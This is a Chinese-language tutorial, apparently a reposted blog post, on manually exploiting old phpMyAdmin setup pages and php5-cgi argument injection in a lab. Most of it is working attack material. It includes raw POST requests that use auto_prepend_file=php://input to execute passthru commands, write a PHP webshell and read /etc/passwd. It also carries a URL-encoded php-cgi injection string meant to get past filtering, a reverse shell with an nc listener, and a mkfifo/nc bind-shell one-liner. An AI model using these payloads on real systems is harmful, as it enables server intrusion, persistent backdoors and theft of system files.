手动漏洞挖掘(一)

早期phpMyAdmin服务器的一个漏洞

php服务器默认安装如果setup不禁用掉的话,可以不通过登陆账号直接进入到里面进行配置

http://192.168.133.132/phpMyAdmin/setup/

 通过post方法,修改PHP主配置文件,就可以执行命令行对服务器进行操作,php语言中passthru函数可以执行操作系统的指令

http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 通过phpMyAdmin修改.ini主配置文件

POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.20.10

Content-Length: 34



<?php

passthru('ls');

die();

?>

打开burpsuite,在repeater中执行以上的代码,Go

就可以在右侧返回的信息中看到执行的结果

只要在passthru()方法中添加想要执行的命令

甚至可以写文件,这样我们就可以在目标服务器中提交木马等操作了。

一枚简单的木马

利用的是位于phpMyAdmin/setup下的漏洞

POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.20.10

Content-Length: 100



<?php

passthru('echo "<?php $cmd = $_GET["cmd"];system($cmd);?>" > /var/www/2.php');

die();

?>

打开burpsuite,在repeater中执行以上的代码,Go

passthru('cat /var/www/2.php');

查看刚才写的文件,返回发现写成功了

打开l浏览器输入

http://192.168.133.132/2.php?cmd=id

http://192.168.133.132/2.php?cmd=pwd

http://192.168.133.132/2.php?cmd=ls

http://192.168.133.132/2.php?cmd=cat /etc/passwd

你会发现这样操作非常像在shell中执行,只要在变量"?cmd="后面添加命令即可

php反弹shell

它在kali的位置

/usr/share/webshells/php/php-reverse-shell.php

修改一下,把IP换成本机的IP地址

然后将所有内容复制下来复制到在burpsuite的body中

先不发送请求,打开一个终端输入 nc -nvvlp 1234 侦听这个端口号,再发送请求

于是就建立了连接,就可以在终端上操作php的服务器了,和在自己终端上操作差不多

有时候会发现有些命令执行不了,比如ifconfig,这是因为现在的用户权限下,有些命令的环境变量没有设置好,我们可以查找到这个命令的位置,然后执行它

cd /sbin 

./ifconfg

就能执行了

又一枚木马

这个利用ubuntu/debian默认安装的php5-cgi的漏洞

可直接访问/cgi-bin/php5和/cgi-bin/php ,这两个目录位于操作系统的根目录下,而不是在web的根目录下,它们不会在网页页面上显示,所以这些目录用扫描工具是爬网爬不出来的,但是他们是可以被访问的。

打开burpsuite,输入

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

Host: 123

Content-Length: 50



<?php

echo system('cat /etc/passwd');

die();

?>
注:%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
这一串是经过编码之后的内容,对它解码会发现是这些内容,为为什么要这样编码呢?是因为php服务器进行了一些过滤机制,如果用明文还执行不成功。

一定要有host,后面的内容可以随便填
Host: 123

go

在服务器上打开一个侦听端口

echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 444| > /tmp/pipe');

php服务器开启一个端口等待连接

然后打开一个终端用nc连接,就拿到shell了

原文地址:https://www.cnblogs.com/zylq-blog/p/6709344.html